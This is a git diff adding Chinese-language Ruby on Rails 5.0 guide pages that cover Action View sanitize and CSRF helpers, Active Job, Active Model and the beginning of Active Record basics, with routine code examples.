number_with_delimiter 方法用于把数字转换为带有千位分隔符的数字。

+
+number_with_delimiter(12345678) # => 12,345,678
+
+
+
+
6.12.6 number_with_precision 方法

number_with_precision 方法用于把数字转换为具有指定精度的数字,默认精度为 3。

+
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, 2)  # => 111.23
+
+
+
+

6.13 SanitizeHelper 模块

SanitizeHelper 模块提供从文本中清除不需要的 HTML 元素的方法。

6.13.1 sanitize 方法

sanitize 方法会对所有标签进行 HTML 编码,并清除所有未明确允许的属性。

+
+sanitize @article.body
+
+
+
+

如果指定了 :attributes:tags 选项,那么只有指定的属性或标签才不会被清除。

+
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+
+
+
+

要想修改 sanitize 方法的默认选项,例如把表格标签设置为允许的属性,可以按下面的方式设置:

+
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+end
+
+
+
+
6.13.2 sanitize_css(style) 方法

sanitize_css(style) 方法用于净化 CSS 代码。

6.13.3 strip_links(html) 方法

strip_links(html) 方法用于清除文本中所有的链接标签,只保留链接文本。

+
+strip_links('<a href="http://rubyonrails.org/">Ruby on Rails</a>')
+# => Ruby on Rails
+
+
+
+
+
+strip_links('emails to <a href="/service/mailto:me@email.com">me@email.com</a>.')
+# => emails to me@email.com.
+
+
+
+
+
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
+
+
+
+
6.13.4 strip_tags(html) 方法

strip_tags(html) 方法用于清除包括注释在内的所有 HTML 标签。此方法使用 html-scanner 解析 HTML,因此其 HTML 解析能力受到 html-scanner 的限制。

+
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+
+
+
+
+
+strip_tags("<b>Bold</b> no more!  <a href='http://github.com/more.html'>See more</a>")
+# => Bold no more!  See more
+
+
+
+

注意:使用 strip_tags(html) 方法清除后的文本仍然可能包含 <、> 和 & 字符,从而导致浏览器显示异常。

6.14 CsrfHelper 模块

csrf_meta_tags 方法用于生成 csrf-paramcsrf-token 这两个元标签,它们分别是跨站请求伪造保护的参数和令牌。

+
+<%= csrf_meta_tags %>
+
+
+
+

普通表单生成隐藏字段,因此不使用这些标签。关于这个问题的更多介绍,请参阅 Ruby on Rails 安全指南

7 本地化视图

Action View 可以根据当前的本地化设置渲染不同的模板。

假如 ArticlesController 控制器中有 show 动作。默认情况下,调用 show 动作会渲染 app/views/articles/show.html.erb 模板。如果我们设置了 I18n.locale = :de,那么调用 show 动作会渲染 app/views/articles/show.de.html.erb 模板。如果对应的本地化模板不存在,就会使用对应的默认模板。这意味着我们不需要为所有情况提供本地化视图,但如果本地化视图可用就会优先使用。

我们可以使用相同的技术来本地化公共目录中的错误文件。例如,通过设置 I18n.locale = :de 并创建 public/500.de.htmlpublic/404.de.html 文件,我们就拥有了本地化的错误文件。

由于 Rails 不会限制用于设置 I18n.locale 的符号,我们可以利用本地化视图根据我们喜欢的任何东西来显示不同的内容。例如,假设专家用户应该看到和普通用户不同的页面,我们可以在 app/controllers/application.rb 配置文件中进行如下设置:

+
+before_action :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+
+
+
+

然后创建 app/views/articles/show.expert.html.erb 这样的显示给专家用户看的特殊视图。

关于 Rails 国际化的更多介绍,请参阅Rails 国际化 API

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_job_basics.html b/v5.0/active_job_basics.html new file mode 100644 index 0000000..373dcb0 --- /dev/null +++ b/v5.0/active_job_basics.html @@ -0,0 +1,535 @@ + + + + + + + +Active Job 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Job 基础

本文全面说明创建、入队和执行后台作业的基础知识。

读完本文后,您将学到:

+
    +
  • 如何创建作业;

  • +
  • 如何入队作业;

  • +
  • 如何在后台运行作业;

  • +
  • 如何在应用中异步发送电子邮件。

  • +
+ + + + +
+
+ +
+
+
+

1 简介

Active Job 框架负责声明作业,在各种队列后端中运行。作业各种各样,可以是定期清理、账单支付和寄信。其实,任何可以分解且并行运行的工作都可以。

2 Active Job 的作用

主要作用是确保所有 Rails 应用都有作业基础设施。这样便可以在此基础上构建各种功能和其他 gem,而无需担心不同作业运行程序(如 Delayed Job 和 Resque)的 API 之间的差异。此外,选用哪个队列后端只是战术问题。而且,切换队列后端也不用重写作业。

Rails 默认实现了立即运行的队列运行程序。因此,队列中的各个作业会立即运行。

3 创建作业

本节逐步说明创建和入队作业的过程。

3.1 创建作业

Active Job 提供了一个 Rails 生成器,用于创建作业。下述命令在 app/jobs 目录中创建一个作业(还在 test/jobs 目录中创建相关的测试用例):

+
+$ bin/rails generate job guests_cleanup
+invoke  test_unit
+create    test/jobs/guests_cleanup_job_test.rb
+create  app/jobs/guests_cleanup_job.rb
+
+
+
+

还可以创建在指定队列中运行的作业:

+
+$ bin/rails generate job guests_cleanup --queue urgent
+
+
+
+

如果不想使用生成器,可以自己动手在 app/jobs 目录中新建文件,不过要确保继承自 ApplicationJob

看一下作业:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  def perform(*guests)
+    # 稍后做些事情
+  end
+end
+
+
+
+

注意,perform 方法的参数是任意个。

3.2 入队作业

像下面这样入队作业:

+
+# 入队作业,作业在队列系统空闲时立即执行
+GuestsCleanupJob.perform_later guest
+
+
+
+
+
+# 入队作业,在明天中午执行
+GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)
+
+
+
+
+
+# 入队作业,在一周以后执行
+GuestsCleanupJob.set(wait: 1.week).perform_later(guest)
+
+
+
+
+
+# `perform_now` 和 `perform_later` 会在幕后调用 `perform`
+# 因此可以传入任意个参数
+GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')
+
+
+
+

就这么简单!

4 执行作业

在生产环境中入队和执行作业需要使用队列后端,即要为 Rails 提供一个第三方队列库。Rails 本身只提供了一个进程内队列系统,把作业存储在 RAM 中。如果进程崩溃,或者设备重启了,默认的异步后端会丢失所有作业。这对小型应用或不重要的作业来说没什么,但是生产环境中的多数应用应该挑选一个持久后端。

4.1 后端

Active Job 为多种队列后端(Sidekiq、Resque、Delayed Job,等等)内置了适配器。最新的适配器列表参见 ActiveJob::QueueAdapters 的 API 文档

4.2 设置后端

队列后端易于设置:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # 要把适配器的 gem 写入 Gemfile
+    # 请参照适配器的具体安装和部署说明
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+
+
+
+

也可以在各个作业中配置后端:

+
+class GuestsCleanupJob < ApplicationJob
+  self.queue_adapter = :resque
+  #....
+end
+
+# 现在,这个作业使用 `resque` 作为后端队列适配器
+# 把 `config.active_job.queue_adapter` 配置覆盖了
+
+
+
+

4.3 启动后端

Rails 应用中的作业并行运行,因此多数队列库要求为自己启动专用的队列服务(与启动 Rails 应用的服务不同)。启动队列后端的说明参见各个库的文档。

下面列出部分文档:

+ +

5 队列

多数适配器支持多个队列。Active Job 允许把作业调度到具体的队列中:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+
+
+

队列名称可以使用 application.rb 文件中的 config.active_job.queue_name_prefix 选项配置前缀:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# 在生产环境中,作业在 production_low_priority 队列中运行
+# 在交付准备环境中,作业在 staging_low_priority 队列中运行
+
+
+
+

默认的队列名称前缀分隔符是 '_'。这个值可以使用 application.rb 文件中的 config.active_job.queue_name_delimiter 选项修改:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+    config.active_job.queue_name_delimiter = '.'
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# 在生产环境中,作业在 production.low_priority 队列中运行
+# 在交付准备环境中,作业在 staging.low_priority 队列中运行
+
+
+
+

如果想更进一步控制作业在哪个队列中运行,可以把 :queue 选项传给 #set 方法:

+
+MyJob.set(queue: :another_queue).perform_later(record)
+
+
+
+

如果想在作业层控制队列,可以把一个块传给 #queue_as 方法。那个块在作业的上下文中执行(因此可以访问 self.arguments),必须返回队列的名称:

+
+class ProcessVideoJob < ApplicationJob
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # 处理视频
+  end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+
+
+
+

确保队列后端“监听”着队列名称。某些后端要求指定要监听的队列。

6 回调

Active Job 在作业的生命周期内提供了多个钩子。回调用于在作业的生命周期内触发逻辑。

6.1 可用的回调

+
    +
  • before_enqueue

  • +
  • around_enqueue

  • +
  • after_enqueue

  • +
  • before_perform

  • +
  • around_perform

  • +
  • after_perform

  • +
+

6.2 用法

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  before_enqueue do |job|
+    # 对作业实例做些事情
+  end
+
+  around_perform do |job, block|
+    # 在执行之前做些事情
+    block.call
+    # 在执行之后做些事情
+  end
+
+  def perform
+    # 稍后做些事情
+  end
+end
+
+
+
+

7 Action Mailer

对现代的 Web 应用来说,最常见的作业是在请求-响应循环之外发送电子邮件,这样用户无需等待。Active Job 与 Action Mailer 是集成的,因此可以轻易异步发送电子邮件:

+
+# 如需想现在发送电子邮件,使用 #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# 如果想通过 Active Job 发送电子邮件,使用 #deliver_later
+UserMailer.welcome(@user).deliver_later
+
+
+
+

8 国际化

创建作业时,使用 I18n.locale 设置。如果异步发送电子邮件,可能用得到:

+
+I18n.locale = :eo
+
+UserMailer.welcome(@user).deliver_later # 使用世界语本地化电子邮件
+
+
+
+

9 GlobalID

Active Job 支持参数使用 GlobalID。这样便可以把 Active Record 对象传给作业,而不用传递类和 ID,再自己反序列化。以前,要这么定义作业:

+
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

现在可以简化成这样:

+
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

为此,模型类要混入 GlobalID::Identification。Active Record 模型类默认都混入了。

10 异常

Active Job 允许捕获执行作业过程中抛出的异常:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  rescue_from(ActiveRecord::RecordNotFound) do |exception|
+   # 处理异常
+  end
+
+  def perform
+    # 稍后做些事情
+  end
+end
+
+
+
+

10.1 反序列化

有了 GlobalID,可以序列化传给 #perform 方法的整个 Active Record 对象。

如果在作业入队之后、调用 #perform 方法之前删除了传入的记录,Active Job 会抛出 ActiveJob::DeserializationError 异常。

11 测试作业

测试作业的详细说明参见 测试指南

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_model_basics.html b/v5.0/active_model_basics.html new file mode 100644 index 0000000..ab35173 --- /dev/null +++ b/v5.0/active_model_basics.html @@ -0,0 +1,678 @@ + + + + + + + +Active Model 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Model 基础

本文简述模型类。Active Model 允许使用 Action Pack 辅助方法与普通的 Ruby 类交互。Active Model 还协助构建自定义的 ORM,可在 Rails 框架外部使用。

读完本文后,您将学到:

+
    +
  • Active Record 模型的行为;

  • +
  • 回调和数据验证的工作方式;

  • +
  • 序列化程序的工作方式;

  • +
  • Active Model 与 Rails 国际化(i18n)框架的集成。

  • +
+

本文原文尚未完工!

+ + + +
+
+ +
+
+
+

1 简介

Active Model 库包含很多模块,用于开发要在 Active Record 中存储的类。下面说明其中部分模块。

1.1 属性方法

ActiveModel::AttributeMethods 模块可以为类中的方法添加自定义的前缀和后缀。它用于定义前缀和后缀,对象中的方法将使用它们。

+
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+  private
+    def reset_attribute(attribute)
+      send("#{attribute}=", 0)
+    end
+
+    def attribute_highest?(attribute)
+      send(attribute) > 100
+    end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # => true
+person.reset_age     # => 0
+person.age_highest?  # => false
+
+
+
+

1.2 回调

ActiveModel::Callbacks 模块为 Active Record 提供回调,在某个时刻运行。定义回调之后,可以使用前置、后置和环绕方法包装。

+
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # 在对象上调用 update 时执行这个方法
+    end
+  end
+
+  def reset_me
+    # 在对象上调用 update 方法时执行这个方法
+    # 因为把它定义为 before_update 回调了
+  end
+end
+
+
+
+

1.3 转换

如果一个类定义了 persisted?id 方法,可以在那个类中引入 ActiveModel::Conversion 模块,这样便能在类的对象上调用 Rails 提供的转换方法。

+
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  # => true
+person.to_key              # => nil
+person.to_param            # => nil
+
+
+
+

1.4 弄脏

如果修改了对象的一个或多个属性,但是没有保存,此时就把对象弄脏了。ActiveModel::Dirty 模块提供检查对象是否被修改的功能。它还提供了基于属性的存取方法。假如有个 Person 类,它有两个属性,first_namelast_name

+
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    # 执行保存操作……
+    changes_applied
+  end
+end
+
+
+
+
1.4.1 直接查询对象,获取所有被修改的属性列表
+
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# 如果修改属性后未保存,返回 true,否则返回 false
+person.changed? # => true
+
+# 返回修改之后没有保存的属性列表
+person.changed # => ["first_name"]
+
+# 返回一个属性散列,指明原来的值
+person.changed_attributes # => {"first_name"=>nil}
+
+# 返回一个散列,键为修改的属性名,值是一个数组,包含旧值和新值
+person.changes # => {"first_name"=>[nil, "First Name"]}
+
+
+
+
1.4.2 基于属性的存取方法

判断具体的属性是否被修改了:

+
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+
+
+
+

查看属性之前的值:

+
+person.first_name_was # => nil
+
+
+
+

查看属性修改前后的值。如果修改了,返回一个数组,否则返回 nil

+
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+
+
+
+

1.5 数据验证

ActiveModel::Validations 模块提供数据验证功能,这与 Active Record 中的类似。

+
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+  validates! :token, presence: true
+end
+
+person = Person.new
+person.token = "2b1f325"
+person.valid?                        # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid?                        # => false
+person.email = 'me@vishnuatrai.com'
+person.valid?                        # => true
+person.token = nil
+person.valid?                        # => raises ActiveModel::StrictValidationFailed
+
+
+
+

1.6 命名

ActiveModel::Naming 添加一些类方法,便于管理命名和路由。这个模块定义了 model_name 类方法,它使用 ActiveSupport::Inflector 中的一些方法定义一些存取方法。

+
+class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name                # => "Person"
+Person.model_name.singular            # => "person"
+Person.model_name.plural              # => "people"
+Person.model_name.element             # => "person"
+Person.model_name.human               # => "Person"
+Person.model_name.collection          # => "people"
+Person.model_name.param_key           # => "person"
+Person.model_name.i18n_key            # => :person
+Person.model_name.route_key           # => "people"
+Person.model_name.singular_route_key  # => "person"
+
+
+
+

1.7 模型

ActiveModel::Model 模块能让一个类立即能与 Action Pack 和 Action View 集成。

+
+class EmailContact
+  include ActiveModel::Model
+
+  attr_accessor :name, :email, :message
+  validates :name, :email, :message, presence: true
+
+  def deliver
+    if valid?
+      # 发送电子邮件
+    end
+  end
+end
+
+
+
+

引入 ActiveModel::Model 后,将获得以下功能:

+
    +
  • 模型名称内省

  • +
  • 转换

  • +
  • 翻译

  • +
  • 数据验证

  • +
+

还能像 Active Record 对象那样使用散列指定属性,初始化对象。

+
+email_contact = EmailContact.new(name: 'David',
+                                 email: 'david@example.com',
+                                 message: 'Hello World')
+email_contact.name       # => 'David'
+email_contact.email      # => 'david@example.com'
+email_contact.valid?     # => true
+email_contact.persisted? # => false
+
+
+
+

只要一个类引入了 ActiveModel::Model,它就能像 Active Record 对象那样使用 form_forrender 和任何 Action View 辅助方法。

1.8 序列化

ActiveModel::Serialization 模块为对象提供基本的序列化支持。你要定义一个属性散列,包含想序列化的属性。属性名必须使用字符串,不能使用符号。

+
+class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

这样就可以使用 serializable_hash 方法访问对象的序列化散列:

+
+person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+
+
+
+
1.8.1 ActiveModel::Serializers +

Rails 提供了 ActiveModel::Serializers::JSON 序列化程序。这个模块自动引入 ActiveModel::Serialization

1.8.1.1 ActiveModel::Serializers::JSON +

若想使用 ActiveModel::Serializers::JSON,只需把 ActiveModel::Serialization 换成 ActiveModel::Serializers::JSON

+
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

调用 as_json 方法即可访问模型的散列表示形式。

+
+person = Person.new
+person.as_json # => {"name"=>nil}
+person.name = "Bob"
+person.as_json # => {"name"=>"Bob"}
+
+
+
+

若想使用 JSON 字符串定义模型的属性,要在类中定义 attributes= 方法:

+
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

现在,可以使用 from_json 方法创建 Person 实例,并且设定属性:

+
+json = { name: 'Bob' }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name            # => "Bob"
+
+
+
+

1.9 翻译

ActiveModel::Translation 模块把对象与 Rails 国际化(i18n)框架集成起来。

+
+class Person
+  extend ActiveModel::Translation
+end
+
+
+
+

使用 human_attribute_name 方法可以把属性名称变成对人类友好的格式。对人类友好的格式在本地化文件中定义。

+
    +
  • +

    config/locales/app.pt-BR.yml

    +
    +
    +pt-BR:
    +  activemodel:
    +    attributes:
    +      person:
    +        name: 'Nome'
    +
    +
    +
    +
  • +
+
+
+Person.human_attribute_name('name') # => "Nome"
+
+
+
+

1.10 lint 测试

ActiveModel::Lint::Tests 模块测试对象是否符合 Active Model API。

+
    +
  • +

    app/models/person.rb

    +
    +
    +class Person
    +  include ActiveModel::Model
    +end
    +
    +
    +
    +
  • +
  • +

    test/models/person_test.rb

    +
    +
    +require 'test_helper'
    +
    +class PersonTest < ActiveSupport::TestCase
    +  include ActiveModel::Lint::Tests
    +
    +  setup do
    +    @model = Person.new
    +  end
    +end
    +
    +
    +
    +
  • +
+
+
+$ rails test
+
+Run options: --seed 14596
+
+# Running:
+
+......
+
+Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
+
+6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

为了使用 Action Pack,对象无需实现所有 API。这个模块只是提供一种指导,以防你需要全部功能。

1.11 安全密码

ActiveModel::SecurePassword 提供安全加密密码的功能。这个模块提供了 has_secure_password 类方法,它定义了一个名为 password 的存取方法,而且有相应的数据验证。

1.11.1 要求

ActiveModel::SecurePassword 依赖 bcrypt,因此要在 Gemfile 中加入这个 gem,ActiveModel::SecurePassword 才能正确运行。为了使用安全密码,模型中必须定义一个名为 password_digest 的存取方法。has_secure_password 类方法会为 password 存取方法添加下述数据验证:

+
    +
  1. 密码应该存在

  2. +
  3. 密码应该等于密码确认

  4. +
  5. 密码的最大长度为 72(ActiveModel::SecurePassword 依赖的 bcrypt 的要求)

  6. +
+
1.11.2 示例
+
+class Person
+  include ActiveModel::SecurePassword
+  has_secure_password
+  attr_accessor :password_digest
+end
+
+person = Person.new
+
+# 密码为空时
+person.valid? # => false
+
+# 密码确认与密码不匹配时
+person.password = 'aditya'
+person.password_confirmation = 'nomatch'
+person.valid? # => false
+
+# 密码长度超过 72 时
+person.password = person.password_confirmation = 'a' * 100
+person.valid? # => false
+
+# 所有数据验证都通过时
+person.password = person.password_confirmation = 'aditya'
+person.valid? # => true
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/active_record_basics.html b/v5.0/active_record_basics.html new file mode 100644 index 0000000..8dfc013 --- /dev/null +++ b/v5.0/active_record_basics.html @@ -0,0 +1,498 @@ + + + + + + + +Active Record 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 基础

本文简介 Active Record。

读完本文后,您将学到:

+
    +
  • 对象关系映射(Object Relational Mapping,ORM)和 Active Record 是什么,以及如何在 Rails 中使用;

  • +
  • Active Record 在 MVC 中的作用;

  • +
  • 如何使用 Active Record 模型处理保存在关系型数据库中的数据;

  • +
  • Active Record 模式(schema)的命名约定;

  • +
  • 数据库迁移,数据验证和回调。

  • +
+ + + + +
+
+ +
+
+
+

1 Active Record 是什么?

Active Record 是 MVC 中的 M(模型),负责处理数据和业务逻辑。Active Record 负责创建和使用需要持久存入数据库中的数据。Active Record 实现了 Active Record 模式,是一种对象关系映射系统。

1.1 Active Record 模式

Active Record 模式出自 Martin Fowler 写的《企业应用架构模式》一书。在 Active Record 模式中,对象中既有持久存储的数据,也有针对数据的操作。Active Record 模式把数据存取逻辑作为对象的一部分,处理对象的用户知道如何把数据写入数据库,还知道如何从数据库中读出数据。

1.2 对象关系映射

对象关系映射(ORM)是一种技术手段,把应用中的对象和关系型数据库中的数据表连接起来。使用 ORM,应用中对象的属性和对象之间的关系可以通过一种简单的方法从数据库中获取,无需直接编写 SQL 语句,也不过度依赖特定的数据库种类。

1.3 用作 ORM 框架的 Active Record

Active Record 提供了很多功能,其中最重要的几个如下:

+
    +
  • 表示模型和其中的数据;

  • +
  • 表示模型之间的关系;

  • +
  • 通过相关联的模型表示继承层次结构;

  • +
  • 持久存入数据库之前,验证模型;

  • +
  • 以面向对象的方式处理数据库操作。

  • +
+

2 Active Record 中的“多约定少配置”原则

使用其他编程语言或框架开发应用时,可能必须要编写很多配置代码。大多数 ORM 框架都是这样。但是,如果遵循 Rails 的约定,创建 Active Record 模型时不用做多少配置(有时甚至完全不用配置)。Rails 的理念是,如果大多数情况下都要使用相同的方式配置应用,那么就应该把这定为默认的方式。所以,只有约定无法满足要求时,才要额外配置。

2.1 命名约定

默认情况下,Active Record 使用一些命名约定,查找模型和数据库表之间的映射关系。Rails 把模型的类名转换成复数,然后查找对应的数据表。例如,模型类名为 Book,数据表就是 books。Rails 提供的单复数转换功能很强大,常见和不常见的转换方式都能处理。如果类名由多个单词组成,应该按照 Ruby 的约定,使用驼峰式命名法,这时对应的数据库表将使用下划线分隔各单词。因此:

+
    +
  • 数据库表名:复数,下划线分隔单词(例如 book_clubs

  • +
  • 模型类名:单数,每个单词的首字母大写(例如 BookClub

  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模型/类表/模式
Articlearticles
LineItemline_items
Deerdeers
Mousemice
Personpeople
+

2.2 模式约定

根据字段的作用不同,Active Record 对数据库表中的字段命名也做了相应的约定:

+
    +
  • 外键:使用 singularized_table_name_id 形式命名,例如 item_idorder_id。创建模型关联后,Active Record 会查找这个字段;

  • +
  • 主键:默认情况下,Active Record 使用整数字段 id 作为表的主键。使用 Active Record 迁移创建数据库表时,会自动创建这个字段;

  • +
+

还有一些可选的字段,能为 Active Record 实例添加更多的功能:

+
    +
  • created_at:创建记录时,自动设为当前的日期和时间;

  • +
  • updated_at:更新记录时,自动设为当前的日期和时间;

  • +
  • lock_version:在模型中添加乐观锁

  • +
  • type:让模型使用单表继承

  • +
  • (association_name)_type:存储多态关联的类型;

  • +
  • (table_name)_count:缓存所关联对象的数量。比如说,一个 Article 有多个 Comment,那么 comments_count 列存储各篇文章现有的评论数量;

  • +
+

虽然这些字段是可选的,但在 Active Record 中是被保留的。如果想使用相应的功能,就不要把这些保留字段用作其他用途。例如,type 这个保留字段是用来指定数据库表使用单表继承(Single Table Inheritance,STI)的。如果不用单表继承,请使用其他的名称,例如“context”,这也能表明数据的作用。

3 创建 Active Record 模型

创建 Active Record 模型的过程很简单,只要继承 ApplicationRecord 类就行了:

+
+class Product < ApplicationRecord
+end
+
+
+
+

上面的代码会创建 Product 模型,对应于数据库中的 products 表。同时,products 表中的字段也映射到 Product 模型实例的属性上。假如 products 表由下面的 SQL 语句创建:

+
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+
+
+
+

按照这样的数据表结构,可以编写下面的代码:

+
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+
+
+
+

4 覆盖命名约定

如果想使用其他的命名约定,或者在 Rails 应用中使用即有的数据库可以吗?没问题,默认的约定能轻易覆盖。

ApplicationRecord 继承自 ActiveRecord::Base,后者定义了一系列有用的方法。使用 ActiveRecord::Base.table_name= 方法可以指定要使用的表名:

+
+class Product < ApplicationRecord
+  self.table_name = "my_products"
+end
+
+
+
+

如果这么做,还要调用 set_fixture_class 方法,手动指定固件(my_products.yml)的类名:

+
+class ProductTest < ActiveSupport::TestCase
+  set_fixture_class my_products: Product
+  fixtures :my_products
+  ...
+end
+
+
+
+

还可以使用 ActiveRecord::Base.primary_key= 方法指定表的主键:

+
+class Product < ApplicationRecord
+  self.primary_key = "product_id"
+end
+
+
+
+

5 CRUD:读写数据

CURD 是四种数据操作的简称:C 表示创建,R 表示读取,U 表示更新,D 表示删除。Active Record 自动创建了处理数据表中数据的方法。

5.1 创建

Active Record 对象可以使用散列创建,在块中创建,或者创建后手动设置属性。new 方法创建一个新对象,create 方法创建新对象,并将其存入数据库。

例如,User 模型中有两个属性,nameoccupation。调用 create 方法会创建一个新记录,并将其存入数据库:

+
+user = User.create(name: "David", occupation: "Code Artist")
+
+
+
+

new 方法实例化一个新对象,但不保存:

+
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+
+
+
+

调用 user.save 可以把记录存入数据库。

最后,如果在 createnew 方法中使用块,会把新创建的对象拉入块中,初始化对象:

+
+user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+
+
+
+

5.2 读取

Active Record 为读取数据库中的数据提供了丰富的 API。下面举例说明。

+
+# 返回所有用户组成的集合
+users = User.all
+
+
+
+
+
+# 返回第一个用户
+user = User.first
+
+
+
+
+
+# 返回第一个名为 David 的用户
+david = User.find_by(name: 'David')
+
+
+
+
+
+# 查找所有名为 David,职业为 Code Artists 的用户,而且按照 created_at 反向排列
+users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)
+
+
+
+

Active Record 查询接口会详细介绍查询 Active Record 模型的方法。

5.3 更新

